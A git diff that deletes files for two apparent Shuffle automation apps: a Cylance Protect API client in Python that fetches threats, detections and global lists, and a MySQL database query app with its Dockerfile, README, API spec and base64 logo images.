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 diff --git a/cylance/1.0.0/requirements.txt b/cylance/1.0.0/requirements.txt deleted file mode 100644 index d7aa9605..00000000 --- a/cylance/1.0.0/requirements.txt +++ /dev/null @@ -1,3 +0,0 @@ -cryptography==3.3.2 -requests==2.25.1 -PyJWT==1.7.1 diff --git a/cylance/1.0.0/src/app.py b/cylance/1.0.0/src/app.py deleted file mode 100644 index 77104ad8..00000000 --- a/cylance/1.0.0/src/app.py +++ /dev/null @@ -1,234 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import requests -import jwt -import uuid -import json -from datetime import datetime, timedelta - -from walkoff_app_sdk.app_base import AppBase - -class Cylance(AppBase): - __version__ = "1.0.0" - app_name = "Cylance" - - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # This system is fucking stupid - every developer ever :) - def auth(self, app_id, app_secret, tid_val): - timeout = 1800 - now = datetime.utcnow() - timeout_datetime = now + timedelta(seconds=timeout) - epoch_time = int((now - datetime(1970, 1, 1)).total_seconds()) - epoch_timeout = int((timeout_datetime - datetime(1970, 1, 1)).total_seconds()) - jti_val = str(uuid.uuid4()) - AUTH_URL = "https://protectapi.cylance.com/auth/v2/token" - claims = { - "exp": epoch_timeout, - "iat": epoch_time, - "iss": "http://cylance.com", - "sub": app_id, - "tid": tid_val, - "jti": jti_val, - #"scp": ["policy:create","policy:list","policy:read","policy:update"] - } - - encoded = jwt.encode(claims, app_secret, algorithm='HS256').decode('utf-8') - payload = {"auth_token": encoded} - headers = {"Content-Type": "application/json; charset=utf-8"} - resp = requests.post(AUTH_URL, headers=headers, data=json.dumps(payload)) - auth_token = resp.json()["access_token"] - return auth_token - - def get_threat(self, app_id, app_secret, tenant_id, threat_id): - auth_token = self.auth(app_id, app_secret, tenant_id) - url = f"https://protectapi.cylance.com/threats/v2/{threat_id}" - params = {} - - headers = { - "Authorization": f"Bearer {auth_token}" - } - - resp = requests.get(url, headers=headers, params=params) - return resp.text - - def get_detection(self, app_id, app_secret, tenant_id, detection_id): - auth_token = self.auth(app_id, app_secret, tenant_id) - url = f"https://protectapi.cylance.com/detections/v2/{detection_id}" - params = {} - - headers = { - "Authorization": f"Bearer {auth_token}" - } - - resp = requests.get(url, headers=headers, params=params) - return resp.text - - def list_threats(self, app_id, app_secret, tenant_id, page=1, page_size=20): - auth_token = self.auth(app_id, app_secret, tenant_id) - - if page == 0 or page == "": - page = 1 - if page_size == 0 or page_size == "": - page_size = 20 - - url = "https://protectapi.cylance.com/threats/v2" - params = { - "page": page, - "page_size": page_size, - } - params = {} - - headers = { - "Authorization": f"Bearer {auth_token}" - } - - resp = requests.get(url, headers=headers, params=params) - return resp.text - - def list_detections(self, app_id, app_secret, tenant_id, page=1, page_size=20): - auth_token = self.auth(app_id, app_secret, tenant_id) - - if page == 0 or page == "": - page = 1 - if page_size == 0 or page_size == "": - page_size = 20 - - url = "https://protectapi.cylance.com/detections/v2" - params = { - "page": page, - "page_size": page_size, - } - params = {} - - headers = { - "Authorization": f"Bearer {auth_token}" - } - - resp = requests.get(url, headers=headers, params=params) - return resp.text - print(resp.text) - print(resp.status_code) - - def get_global_list(self, app_id, app_secret, tenant_id, list_type="GlobalSafe", page=1): - auth_token = self.auth(app_id, app_secret, tenant_id) - - - if list_type == "GlobalQuarantine": - list_type = 0 - else: - list_type = 1 - - page_size = 50 - - url = "https://protectapi.cylance.com/globallists/v2" - params = { - "listTypeId": list_type, - "page-m": page, - "page_size": page_size, - } - - headers = { - "Authorization": f"Bearer {auth_token}" - } - - resp = requests.get(url, headers=headers, params=params) - return resp.text - - def add_to_global_list(self, app_id, app_secret, tenant_id, list_type, sha256): - auth_token = self.auth(app_id, app_secret, tenant_id) - - data = { - "sha256": sha256, - "list_type": list_type, - "category": "CommercialSoftware", - "reason": "test", - } - - #?listTypeId={0|1}&page-m&page_size=n" - url = "https://protectapi.cylance.com/globallists/v2" - headers = { - "Authorization": f"Bearer {auth_token}" - } - - resp = requests.post(url, headers=headers, json=data) - return resp.text - - def delete_from_global_list(self, app_id, app_secret, tenant_id, list_type, sha256): - auth_token = self.auth(app_id, app_secret, tenant_id) - - data = { - "sha256": sha256, - "list_type": list_type, - } - - url = "https://protectapi.cylance.com/globallists/v2" - headers = { - "Authorization": f"Bearer {auth_token}" - } - - resp = requests.delete(url, headers=headers, json=data) - return resp.text - - def get_searches(self, app_id, app_secret, tenant_id, page=1): - auth_token = self.auth(app_id, app_secret, tenant_id) - - page_size = 50 - - params = { - "page-m": page, - "page_size": page_size, - } - - url = "https://protectapi.cylance.com/instaqueries/v2" - headers = { - "Authorization": f"Bearer {auth_token}" - } - - resp = requests.get(url, headers=headers, params=params) - return resp.text - - def create_search(self, app_id, app_secret, tenant_id, search): - auth_token = self.auth(app_id, app_secret, tenant_id) - - data = search - url = "https://protectapi.cylance.com/instaqueries/v2" - headers = { - "Authorization": f"Bearer {auth_token}" - } - - resp = requests.post(url, headers=headers, json=data) - return resp.text - - def get_search_results(self, app_id, app_secret, tenant_id, search_id): - auth_token = self.auth(app_id, app_secret, tenant_id) - - page_size = 50 - - params = { - "page-m": page, - "page_size": page_size, - } - - url = "https://protectapi.cylance.com/instaqueries/v2/%s/results" % search_id - headers = { - "Authorization": f"Bearer {auth_token}" - } - - resp = requests.get(url, headers=headers, params=params) - return resp.text - - -if __name__ == "__main__": - Cylance.run() diff --git a/databasemanager/1.0.0/Dockerfile b/databasemanager/1.0.0/Dockerfile deleted file mode 100644 index 5e6120b4..00000000 --- a/databasemanager/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev postgresql-dev libpq - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/databasemanager/1.0.0/README.md b/databasemanager/1.0.0/README.md deleted file mode 100644 index 3880be51..00000000 --- a/databasemanager/1.0.0/README.md +++ /dev/null @@ -1,21 +0,0 @@ -## Database Manager -An app for interacting with databases (currently only supports MySQL). Support for more database will be added as per the requirement. - -## Requirements -- Database host address -- Port number -- Username and password - -## Action -1) __Query MySQL Database__ -- Use this action for querying MySQL database - - __Action parameters :-__ - - __Username__ : username of database account - - __Password__ : password of database account - - __Host__ : database host address - - __Port__ : Port number of database - - __Database name__ : database name you want to use - - __Query__ : query you want to run ( SELECT * FROM example_table; ) - -- You'll receive query output in json format. diff --git a/databasemanager/1.0.0/api.yaml b/databasemanager/1.0.0/api.yaml deleted file mode 100644 index 7e405a13..00000000 --- a/databasemanager/1.0.0/api.yaml +++ /dev/null @@ -1,58 +0,0 @@ -app_version: 1.0.0 -name: DatabaseManager -description: Database management app currently supports MySQL, postgres. -contact_info: - name: "@davedhaval" - url: https://infopercept.com - email: dhavald@infopercept.com -tags: - - Database Connection - - SQL - - PostgreSQL -categories: - - Other -actions: - - name: query_mysql_database - description: Query MySQL database - parameters: - - name: username - description: Username - required: true - example: 'username' - schema: - type: string - - name: password - description: user's password - required: true - example: '******' - schema: - type: string - - name: host - description: Host address can be IP or domain - required: true - example: 'Database host address' - schema: - type: string - - name: port - description: Port number - required: true - example: '3306' - schema: - type: string - - name: database_name - description: Database name - required: true - example: 'Database name' - schema: - type: string - - name: query - description: Query a database - required: true - multiline: true - example: 'SELECT * FROM user' - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAK4AAACuCAYAAACvDDbuAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAC68SURBVHhe7Z0JfFTV2f+fBAhJIAlb2ATZUUAFlE0URXHDra59rW3Vtta+2mqt+rZq8V+7+b79v21ftdXWaluXt1bFXU`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